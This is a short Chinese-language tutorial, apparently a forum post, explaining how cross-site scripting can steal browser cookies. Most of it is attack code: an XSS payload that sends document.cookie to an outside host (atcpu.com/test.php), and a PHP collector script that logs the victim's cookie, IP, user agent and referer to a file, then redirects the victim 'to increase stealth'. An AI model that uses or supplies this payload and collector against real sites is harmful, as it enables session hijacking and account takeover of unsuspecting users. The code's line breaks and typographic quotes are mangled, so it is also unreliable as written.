个人理解为跨站就意味着可以执行
javascript代码,
javascript利用Document文档对象的cookie属性就获取到了cookie,然后就可能利用cookie欺骗登陆。
跨站提取cookie的原理 等价于
如何从在浏览器中获取cookie + 发送cookie到指定url
比如:
“><script>document.location = ’
http://www.atcpu.com /test.
php?cookie=’ + document.cookie;</script><img
依次使用了:
1.浏览器的DOM对象的cookie属性,获得了cookie值
2.将cookie值作为参数传递给localhost
服务器上的test.
php脚本,使用的是GET方式提交数据
3.利用document.location进行跳转,实际就是通过url访问实现数据提交
而test.
php中的内容类似于:
<?
php$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv (‘REMOTE_ADDR’); //远程主机IP地址
$time=date(‘Y-m-d g:i’); //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv (‘HTTP_REFERER’); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型
$fp = fopen(‘cookie.txt’, ’a'); //打开cookie.txt,若不存在则创建它
fwrite($fp,”IP: ”.$ip. ”\n Date and Time: ”.$time. ”\n User Agent:”.$agent.”\n Referer: ”.$referer.”\n Cookie: ”.$cookie.”\n\n\n”); //写入文件
fclose($fp); //关闭文件
header(“Location:
http://www.atcpu.com”); //将网页重定向到灯火计算机社区,增强隐蔽性
?>
这些用户数据来源于HTTP数据包中的浏览器头部信息